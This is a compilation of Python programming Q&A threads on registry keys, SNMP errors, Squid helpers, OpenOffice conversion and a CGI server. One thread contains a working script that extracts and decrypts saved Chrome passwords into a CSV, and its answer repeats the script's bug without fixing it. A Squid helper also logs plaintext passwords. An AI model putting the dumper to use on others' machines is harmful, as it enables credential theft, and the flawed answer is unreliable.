I am facing a weird problem where I am unable to create a key under HKEY_CLASSES_ROOT.
I have the below code :
import win32api
import win32con
import sys
def create_key(access, keyname, perms):
if sys.platform == 'win32':
try:
#print "keyname = %s" % keyname
key = win32api.RegCreateKeyEx(access, keyname, perms, None, 0, None)[0]
return key
except Exception, fault:
print('Error in creating key - %s', fault)
def add_base_key(access, keyname, perms):
print "in func add_base_key, keyname = %s, perms = %s" %(keyname, perms)
hkey = create_key(access, keyname, perms)
print "hkey = %s" % hkey
cls_keyname = ["CLSID\\{8682c35a-98fb-41f3-b65e-693f984caef4}"]
def add_entry():
try:
add_base_key(win32con.HKEY_CLASSES_ROOT, cls_keyname[0], win32con.KEY_ALL_ACCESS )
except Exception, fault:
print "fault = %s" %fault
if __name__ == "__main__":
add_entry()
On running this code from cmd prompt using admin rights, I got the below :
C:\>python "C:\Users\admin\Desktop\sample.py" in func add_base_key,
keyname = CLSID\{8682c35a-98fb-41f3-b65e-693f984caef4}, perms = 983103
hkey = <PyHKEY:386>
However, when I searched the registry entries I am not able to find the key which I have created. Any idea what am I missing here ?
As pointed out by #eryksun, it works when samDesired argument has a value of win32con.KEY_ALL_ACCESS | win32con.KEY_WOW64_64KEY.
Related
Like to catch SNMPerror, if error occur, do something.
Python code to fetch Network OS type via snmphandler package. It works, but if the SNMP is not query the request, it will timeout. I would like to catch that and print "No SNMP Active"
from nelsnmp.snmp import SnmpHandler
from nelsnmp.errors import ArgumentError, SnmpError
def findnetOS(host):
dev = SnmpHandler(host=host, version='2c', community='public')
hostinfo = HostInfo(dev)
osversion = hostinfo.get_version()
try:
os = hostinfo.os
except ArgumentError as e:
if e.__str__() == "No valid SNMP version defined":
os = None
return os
else:
return os
ostype = findnetOS(host)
if ostype != None:
ostype = "cisco_"+ostype
print ostype
else:
print "No SNMP Active"
exit(-1)
Expected output should be print "No SNMP Active" when error occurs and print ostype when it runs thru without errors.
Error I get:
File "/usr/lib/python2.7/site-packages/nelsnmp/snmp.py", line 210, in _raise_error
raise ErrorType(error_data)
nelsnmp.errors.SnmpError: No SNMP response received before timeout
Thank you for the view
Do the same thing you're doing for the ArgumentError
from nelsnmp.snmp import SnmpHandler
from nelsnmp.errors import ArgumentError, SnmpError
def findnetOS(host):
try:
dev = SnmpHandler(host=host, version='2c', community='public')
hostinfo = HostInfo(dev)
osversion = hostinfo.get_version()
except SnmpError as e:
# handle your error here
pass
try:
os = hostinfo.os
except ArgumentError as e:
if e.__str__() == "No valid SNMP version defined":
os = None
return os
else:
return os
ostype = findnetOS(host)
if ostype != None:
ostype = "cisco_"+ostype
print ostype
else:
print "No SNMP Active"
exit(-1)
I am running into an issue with parts of my code i have added my errors at the bottom. The issue is arising around the sqllite3.operationError part. i attempted removing it but when i do another error occurs for line 68 'def getpath():', i cant see why the errors are showing up any and all help is appreciated as always thanks. My code is generally for taking Login data out of my database and displaying in an csv file
import os
import sys
import sqlite3
try:
import win32crypt
except:
pass
import argparse
def args_parser():
parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords")
parser.add_argument("--output", help="Output to csv file", action="store_true")
args = parser.parse_args()
if args.output:
csv(main())
else:
for data in main():
print (data)
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
sys.exit(0)
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
sys.exit(0)
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
sys.exit(0)
else:
print (e)
sys.exit(0)
return info_list
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
sys.exit(0)
return PathName
def csv (info):
with open ('chromepass.csv', 'wb') as csv_file:
csv_file.write('origin_url,username,password \n' .encode('utf'))
for data in info:
csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8'))
print ("Data written to Chromepass.csv")
if __name__ == '__main__':
args_parser()
Errors
Traceback (most recent call last):
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 90, in <module>
args_parser()
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 19, in args_parser
for data in main():
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 35, in main
for information in value:
TypeError: 'builtin_function_or_method' object is not iterable
Right way is:
except sqlite3.OperationalError as e:
And you main() should be like:
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print '[!] Make sure Google Chrome is not running in the background'
sys.exit(0)
elif (e == 'no such table: logins'):
print '[!] Something wrong with the database name'
sys.exit(0)
elif (e == 'unable to open database file'):
print '[!] Something wrong with the database path'
sys.exit(0)
else:
print e
sys.exit(0)
return info_list
I am running a simple python script to log the accessed url using squid url_rewriter_program.
However every time it runs, rewriter crashes with broken pipe error at sys.stdout.flush().
Please suggest a specific solution.
python code is:
import sys
import os
import io
line = sys.stdin.readline()
fo=open("/home/linux/Desktop/foo1.txt","a")
fo.write(line)
fo.close()
sys.stdout.write("\n")
sys.stdout.flush()
This is a squid redirector file, written on python, can you get, or compare with your script:
Redirector:
#!/usr/bin/env python
# -*- coding: iso-8859-1 -*-
#-----------------------------------------------------------------------------
# Name: redirector_master.py
# Purpose: SiSCont checker cuote
#
# Author: Ernesto Licea Martin
#
# Created: 2011/11/24
# RCS-ID: $Id: redirector_master.py $
# Copyright: (c) 2011
# Licence: GPL
#-----------------------------------------------------------------------------
import sys, string, libSiSCont
__name__= "redirector_master"
query="SELECT accounts_proxyquotatype.name, accounts_proxyaccount.proxy_quota, accounts_proxyaccount.proxy_quota_extra, accounts_proxyaccount.proxy_active, accounts_proxyaccounttype.name FROM accounts_proxyaccount INNER JOIN accounts_proxyaccounttype INNER JOIN accounts_proxyquotatype ON (accounts_proxyaccount.proxy_quota_type_id = accounts_proxyquotatype.id) AND (accounts_proxyaccount.proxy_account_type_id = accounts_proxyaccounttype.id) WHERE accounts_proxyaccount.proxy_username=%s"
class RedirMaster:
def __init__(self):
obj = libSiSCont.ParceConf()
obj.parcecfgfile()
self.__listModules = obj.getModList()
self.__redirDicc = obj.getRedirectURL()
self.__penalURL = obj.getPenalizedURL()
self.__confDicc = obj.getConfParam()
self.__dbDicc = obj.getDBDicc()
self.__proxyDicc = obj.getProxyCacheParam()
self.__dbParam = []
def getProxyTypes(self):
db=libSiSCont.connectDB(dbDicc=self.__dbDicc)
c=db.cursor()
c.execute("SELECT accounts_proxy")
def run(self):
modules=[]
for mod in self.__listModules:
try:
m=__import__(mod)
modules.append(m)
except Exception, e:
libSiSCont.reportLogs("%s.run" %__name__, 'Unable to load redirector module %s; the error was: %s' % (mod,str(e)))
if len(modules) == 0:
libSiSCont.reportLogs("%s.run" %__name__, 'No usable redirector module found; switching to trasparent behavour')
while 1:
try:
data_redir=raw_input()
data_redir=data_redir.split()
url,ip_host,user,method,urlgroup = data_redir[0:5]
ip=ip_host.split("/")[0]
host_name=ip_host.split("/")[1]
uri = url
mode=""
#Don't check cache access
if string.find(url,"cache_object") == 0:
sys.stdout.write("%s%s\n" %(mode,uri))
sys.stdout.flush()
continue
db=libSiSCont.connectDB(dbDicc=self.__dbDicc)
c=db.cursor()
c.execute(query,user)
cuote_type,cuote, ext_cuote, active, acc_type = c.fetchall()[0]
self.__dbParam=[cuote_type,int(cuote), int(ext_cuote), active, acc_type]
for module in modules:
try:
uri = module.redir(url = url, ip = ip, host_name = host_name, user = user, method = method, urlgroup = urlgroup, redirDicc = self.__redirDicc, penalURL = self.__penalURL, confDicc = self.__confDicc, proxyDicc = self.__proxyDicc, dbParam = self.__dbParam)
except Exception, e:
libSiSCont.reportLogs("%s.run" %__name__, 'Error while running module: %s -- The error was: %s' % (module,str(e)))
if uri != url:
mode = "301:"
break
sys.stdout.write("%s%s\n" %(mode,uri))
sys.stdout.flush()
except Exception, e:
if not string.find('%s' % e,'EOF') >= 0:
sys.stdout.write('%s\n' % uri)
sys.stdout.flush()
libSiSCont.reportLogs("%s.run" %__name__, '%s: data received from parent: %s' % (str(e),string.join(data_redir)))
else:
sys.exit()
obj=RedirMaster()
obj.run()
Helper:
#!/usr/bin/env python
import sys, syslog, libSiSCont, string,crypt
__name__ = "Helper"
query = "SELECT accounts_proxyaccount.proxy_username FROM accounts_proxyaccount WHERE accounts_proxyaccount.proxy_username=%s AND accounts_proxyaccount.proxy_password=%s"
class BasicAuth:
def __init__(self):
obj = libSiSCont.ParceConf()
obj.parcecfgfile()
self.__dbDicc = obj.getDBDicc()
def run(self):
while 1:
try:
user_pass = string.split(raw_input())
user = user_pass[0].strip("\n")
passwd = user_pass[1].strip("\n")
crypt_passwd = crypt.crypt(passwd,user)
db = libSiSCont.connectDB(self.__dbDicc)
c = db.cursor()
c.execute(query,(user,crypt_passwd))
if c.fetchone() == None:
libSiSCont.reportLogs('%s.run' %__name__,'User Authentication Fail, user = %s password= %s, Access Denied' %(user,passwd) )
sys.stdout.write("ERR\n")
sys.stdout.flush()
else:
libSiSCont.reportLogs('%s.run' %__name__, 'User Authentication Success, user = %s, Access Granted' %user)
sys.stdout.write("OK\n")
sys.stdout.flush()
except Exception, e:
if not string.find("%s" %e, "EOF") >= 0:
sys.stdout.write("ERR\n")
sys.stdout.flush()
libSiSCont.reportLogs('%s.run' %__name__, 'Authenticator error, user will navigate without authentication: %s' %str(e))
else:
sys.exit()
obj = BasicAuth()
obj.run()
I hope help you ;-)
I'd like to use openoffice to programmatically convert docx to pdf. I know unoconv can do this, and indeed unoconv will do this for me, even if I run a separate listener (using unoconv -l) and invoke unoconv -n (so that it will die if it can't connect to the listener). Accordingly, I assume that my openoffice/pyuno environment is sane.
However, when I run an unoconv listener (or manually invoke openoffice as an acceptor), and try to connect with my own python code (derived from unoconv, and cross-checked with another openoffice library), the listener dies, and the uno bridge dies.
The error I get from the listener is:
terminate called after throwing an instance of 'com::sun::star::uno::RuntimeException'
The error I get on the python end is:
unoconv: RuntimeException during import phase:
Office probably died. Binary URP bridge disposed during call
I really have no idea how to go about diagnosing the problem here. Any suggestions as to the underlying cause or how to diagnose it would be greatly appreciated.
Code below:
#dependency on openoffice-python
import openoffice.streams as oostreams
import openoffice.officehelper as oohelper
import uno, unohelper
from com.sun.star.beans import PropertyValue
from com.sun.star.connection import NoConnectException
from com.sun.star.document.UpdateDocMode import QUIET_UPDATE
from com.sun.star.lang import DisposedException, IllegalArgumentException
from com.sun.star.io import IOException, XOutputStream
from com.sun.star.script import CannotConvertException
from com.sun.star.uno import Exception as UnoException
from com.sun.star.uno import RuntimeException
import logging
logger = logging.getLogger(__name__)
#connectionstring = 'uno:socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext'
connectionstring = 'socket,host=127.0.0.1,port=2002'
## context = uno.getComponentContext()
## svcmgr = context.ServiceManager
## resolver = svcmgr.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", context)
## unocontext = resolver.resolve("uno:%s" % connectionstring)
unocontext = oohelper.connect(connectionstring)
#unosvcmgr = unocontext.ServiceManager
desktop = unocontext.ServiceManager.createInstanceWithContext("com.sun.star.frame.Desktop", unocontext)
class OutputStream( unohelper.Base, XOutputStream ):
def __init__(self, stream=None):
self.closed = 0
self.stream = stream if stream is not None else sys.stdout
def closeOutput(self):
self.closed = 1
def writeBytes( self, seq ):
self.stream.write( seq.value )
def flush( self ):
pass
def UnoProps(**args):
props = []
for key in args:
prop = PropertyValue()
prop.Name = key
prop.Value = args[key]
props.append(prop)
return tuple(props)
FILTERS = {'pdf': 'writer_pdf_Export'}
def convert_stream(instream, outstream,
outdoctype=None, outformat=None):
'''instream and outstream are streams.
outdoctype and outformat are strings. They correspond
to the first two parameters to the Fmt constructor.To
convert to pdf use outdoctype="document",
outformat="pdf".
If you choose inappropriate values, an ValueError
will result.'''
#fmts is a global object of type FmtList
outputfilter = FILTERS[outformat]
inputprops = UnoProps(Hidden=True, ReadOnly=True, UpdateDocMode=QUIET_UPDATE, InputStream=oostreams.InputStream(instream))
inputurl = 'private:stream'
convert_worker(inputurl,inputprops,outputfilter,outstream=outstream)
return outstream
def convert_worker(inputurl, inputprops, outputfilter, outstream=None,inputfn=None):
global exitcode
document = None
try:
### Import phase
phase = "import"
document = desktop.loadComponentFromURL( inputurl , "_blank", 0, inputprops )
if not document:
raise UnoException("The document '%s' could not be opened." % inputurl, None)
### Import style template
phase = "import-style"
### Update document links
phase = "update-links"
try:
document.updateLinks()
except AttributeError:
# the document doesn't implement the XLinkUpdate interface
pass
### Update document indexes
phase = "update-indexes"
for ii in range(2):
# At first update Table-of-Contents.
# ToC grows, so page numbers grows too.
# On second turn update page numbers in ToC.
try:
document.refresh()
indexes = document.getDocumentIndexes()
except AttributeError:
# the document doesn't implement the XRefreshable and/or
# XDocumentIndexesSupplier interfaces
break
else:
for i in range(0, indexes.getCount()):
indexes.getByIndex(i).update()
### Export phase
phase = "export"
outputprops = UnoProps(FilterName=outputfilter, OutputStream=OutputStream(stream=outstream), Overwrite=True)
outputurl = "private:stream"
try:
document.storeToURL(outputurl, tuple(outputprops) )
except IOException as e:
raise UnoException("Unable to store document to %s (ErrCode %d)\n\nProperties: %s" % (outputurl, e.ErrCode, outputprops), None)
phase = "dispose"
document.dispose()
document.close(True)
except SystemError as e:
logger.error("unoconv: SystemError during %s phase:\n%s" % (phase, e))
exitcode = 1
except RuntimeException as e:
logger.error("unoconv: RuntimeException during %s phase:\nOffice probably died. %s" % (phase, e))
exitcode = 6
except DisposedException as e:
logger.error("unoconv: DisposedException during %s phase:\nOffice probably died. %s" % (phase, e))
exitcode = 7
except IllegalArgumentException as e:
logger.error("UNO IllegalArgument during %s phase:\nSource file cannot be read. %s" % (phase, e))
exitcode = 8
except IOException as e:
# for attr in dir(e): print '%s: %s', (attr, getattr(e, attr))
logger.error("unoconv: IOException during %s phase:\n%s" % (phase, e.Message))
exitcode = 3
except CannotConvertException as e:
# for attr in dir(e): print '%s: %s', (attr, getattr(e, attr))
logger.error("unoconv: CannotConvertException during %s phase:\n%s" % (phase, e.Message))
exitcode = 4
except UnoException as e:
if hasattr(e, 'ErrCode'):
logger.error("unoconv: UnoException during %s phase in %s (ErrCode %d)" % (phase, repr(e.__class__), e.ErrCode))
exitcode = e.ErrCode
pass
if hasattr(e, 'Message'):
logger.error("unoconv: UnoException during %s phase:\n%s" % (phase, e.Message))
exitcode = 5
else:
logger.error("unoconv: UnoException during %s phase in %s" % (phase, repr(e.__class__)))
exitcode = 2
pass
I don't know if this could be your case, but I discovered that LogMeIn (running on my box) is also using the port 2002. When I try unoconv on that machine, I get the same error: Binary URP bridge disposed during call.
I killed LogMeIn and everything worked after that.
Hope this helps!
I have created my own CGI python server script (that serves on port 8000) by following a tutorial. The server works beautifully if I want to generate web pages from python scripts, or serve a native HTML page BUT it doesn't work for when I make an AJAX POST request?
If I make an AJAX request to the python file aaa.py (using the javascript below) my server prints out the following error text:
Code 501, message can only POST to to CGI scripts
"POST /aaa.py HTTP/1.1" 501 -
What do you think I need to do to allow my python cgi server to allow/handle AJAX requests?
My CGI server:
__version__ = "0.4"
__all__ = ["CGIHTTPRequestHandler"]
import os
import sys
import urllib
import BaseHTTPServer
import SimpleHTTPServer
import select
class CGIHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""Complete HTTP server with GET, HEAD and POST commands.
GET and HEAD also support running CGI scripts.
The POST command is *only* implemented for CGI scripts.
"""
# Determine platform specifics
have_fork = hasattr(os, 'fork')
have_popen2 = hasattr(os, 'popen2')
have_popen3 = hasattr(os, 'popen3')
# pretend we don't have these to force execution in process
have_fork = 0
# Make rfile unbuffered -- we need to read one line and then pass
# the rest to a subprocess, so we can't use buffered input.
rbufsize = 0
def do_POST(self):
"""Serve a POST request.
This is only implemented for CGI scripts.
"""
if self.is_cgi():
self.run_cgi()
else:
self.send_error(501, "Can only POST to CGI scripts")
def send_head(self):
"""Version of send_head that support CGI scripts"""
if self.is_cgi():
return self.run_cgi()
else:
return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
def is_cgi(self):
"""Test whether self.path corresponds to a CGI script.
Return a tuple (dir, rest) if self.path requires running a
CGI script, None if not. Note that rest begins with a
slash if it is not empty.
The default implementation tests whether the path
begins with one of the strings in the list
self.cgi_directories (and the next character is a '/'
or the end of the string).
"""
path = self.path
for x in self.cgi_directories:
i = len(x)
if path[:i] == x and (not path[i:] or path[i] == '/'):
self.cgi_info = path[:i], path[i+1:]
return True
return False
cgi_directories = ['/cgi-bin', '/htbin']
def is_executable(self, path):
"""Test whether argument path is an executable file."""
return executable(path)
def is_python(self, path):
"""Test whether argument path is a Python script."""
head, tail = os.path.splitext(path)
return tail.lower() in (".py", ".pyw")
def run_cgi(self):
"""Execute a CGI script."""
dir, rest = self.cgi_info
i = rest.rfind('?')
if i >= 0:
rest, query = rest[:i], rest[i+1:]
else:
query = ''
# i = rest.find('/')
# if i >= 0:
# script, rest = rest[:i], rest[i:]
# else:
# script, rest = rest, ''
script = rest
scriptname = dir + '/' + script
scriptfile = self.translate_path(scriptname)
if not os.path.exists(scriptfile):
self.send_error(404, "No such CGI script (%s)" % `scriptname`)
return
if not os.path.isfile(scriptfile):
self.send_error(403, "CGI script is not a plain file (%s)" %
`scriptname`)
return
ispy = self.is_python(scriptname)
if not ispy:
if not (self.have_fork or self.have_popen2 or self.have_popen3):
self.send_error(403, "CGI script is not a Python script (%s)" %
`scriptname`)
return
if not self.is_executable(scriptfile):
self.send_error(403, "CGI script is not executable (%s)" %
`scriptname`)
return
# Reference: http://hoohoo.ncsa.uiuc.edu/cgi/env.html
# XXX Much of the following could be prepared ahead of time!
env = {}
env['SERVER_SOFTWARE'] = self.version_string()
env['SERVER_NAME'] = self.server.server_name
env['GATEWAY_INTERFACE'] = 'CGI/1.1'
env['SERVER_PROTOCOL'] = self.protocol_version
env['SERVER_PORT'] = str(self.server.server_port)
env['REQUEST_METHOD'] = self.command
uqrest = urllib.unquote(rest)
env['PATH_INFO'] = uqrest
env['PATH_TRANSLATED'] = self.translate_path(uqrest)
env['SCRIPT_NAME'] = scriptname
if query:
env['QUERY_STRING'] = query
host = self.address_string()
if host != self.client_address[0]:
env['REMOTE_HOST'] = host
env['REMOTE_ADDR'] = self.client_address[0]
# XXX AUTH_TYPE
# XXX REMOTE_USER
# XXX REMOTE_IDENT
if self.headers.typeheader is None:
env['CONTENT_TYPE'] = self.headers.type
else:
env['CONTENT_TYPE'] = self.headers.typeheader
length = self.headers.getheader('content-length')
if length:
env['CONTENT_LENGTH'] = length
accept = []
for line in self.headers.getallmatchingheaders('accept'):
if line[:1] in "\t\n\r ":
accept.append(line.strip())
else:
accept = accept + line[7:].split(',')
env['HTTP_ACCEPT'] = ','.join(accept)
ua = self.headers.getheader('user-agent')
if ua:
env['HTTP_USER_AGENT'] = ua
co = filter(None, self.headers.getheaders('cookie'))
if co:
env['HTTP_COOKIE'] = ', '.join(co)
# XXX Other HTTP_* headers
if not self.have_fork:
# Since we're setting the env in the parent, provide empty
# values to override previously set values
for k in ('QUERY_STRING', 'REMOTE_HOST', 'CONTENT_LENGTH',
'HTTP_USER_AGENT'):
###, 'HTTP_COOKIE' -- removed by S.
env.setdefault(k, "")
# for key in env.keys():
# print key + " '" + env[key] + "'"
os.environ.update(env)
self.send_response(200, "Script output follows")
decoded_query = query.replace('+', ' ')
if self.have_fork:
# Unix -- fork as we should
args = [script]
if '=' not in decoded_query:
args.append(decoded_query)
nobody = nobody_uid()
self.wfile.flush() # Always flush before forking
pid = os.fork()
if pid != 0:
# Parent
pid, sts = os.waitpid(pid, 0)
# throw away additional data [see bug #427345]
while select.select([self.rfile], [], [], 0)[0]:
if not self.rfile.read(1):
break
if sts:
self.log_error("CGI script exit status %#x", sts)
return
# Child
try:
try:
os.setuid(nobody)
except os.error:
pass
os.dup2(self.rfile.fileno(), 0)
os.dup2(self.wfile.fileno(), 1)
os.execve(scriptfile, args, os.environ)
except:
self.server.handle_error(self.request, self.client_address)
os._exit(127)
elif self.have_popen2 or self.have_popen3:
# Windows -- use popen2 or popen3 to create a subprocess
import shutil
if self.have_popen3:
popenx = os.popen3
else:
popenx = os.popen2
cmdline = scriptfile
if self.is_python(scriptfile):
interp = sys.executable
if interp.lower().endswith("w.exe"):
# On Windows, use python.exe, not pythonw.exe
interp = interp[:-5] + interp[-4:]
cmdline = "%s -u \"%s\"" % (interp, cmdline)
if '=' not in query and '"' not in query:
cmdline = '%s "%s"' % (cmdline, query)
self.log_message("command: %s", cmdline)
try:
nbytes = int(length)
except (TypeError, ValueError):
nbytes = 0
files = popenx(cmdline, 'b')
fi = files[0]
fo = files[1]
if self.have_popen3:
fe = files[2]
if self.command.lower() == "post" and nbytes > 0:
data = self.rfile.read(nbytes)
fi.write(data)
# throw away additional data [see bug #427345]
while select.select([self.rfile._sock], [], [], 0)[0]:
if not self.rfile._sock.recv(1):
break
fi.close()
shutil.copyfileobj(fo, self.wfile)
if self.have_popen3:
errors = fe.read()
fe.close()
if errors:
self.log_error('%s', errors)
sts = fo.close()
if sts:
self.log_error("CGI script exit status %#x", sts)
else:
self.log_message("CGI script exited OK")
else:
# Other O.S. -- execute script in this process
save_argv = sys.argv
save_stdin = sys.stdin
save_stdout = sys.stdout
save_stderr = sys.stderr
try:
try:
sys.argv = [scriptfile]
if '=' not in decoded_query:
sys.argv.append(decoded_query)
sys.stdout = self.wfile
sys.stdin = self.rfile
execfile(scriptfile, {"__name__": "__main__"})
finally:
sys.argv = save_argv
sys.stdin = save_stdin
sys.stdout = save_stdout
sys.stderr = save_stderr
except SystemExit, sts:
self.log_error("CGI script exit status %s", str(sts))
else:
self.log_message("CGI script exited OK")
nobody = None
def nobody_uid():
"""Internal routine to get nobody's uid"""
global nobody
if nobody:
return nobody
try:
import pwd
except ImportError:
return -1
try:
nobody = pwd.getpwnam('nobody')[2]
except KeyError:
nobody = 1 + max(map(lambda x: x[2], pwd.getpwall()))
return nobody
def executable(path):
"""Test for executable file."""
try:
st = os.stat(path)
except os.error:
return False
return st.st_mode & 0111 != 0
def test(HandlerClass = CGIHTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer):
SimpleHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
test()
Code in aaa.py:
#!/usr/bin/env python
import cgitb; cgitb.enable()
import cgi
import os
print "Content-Type: text/html\n"
input_data = cgi.FieldStorage()
print "hello"
My AJAX/ Javascript:
function onTest( dest, params )
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById( "bb" ).innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST",dest,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send( params );
}
when you use the python http cgi server, cgi scripts have to be under the subdir (from you server script ) /cgi-bin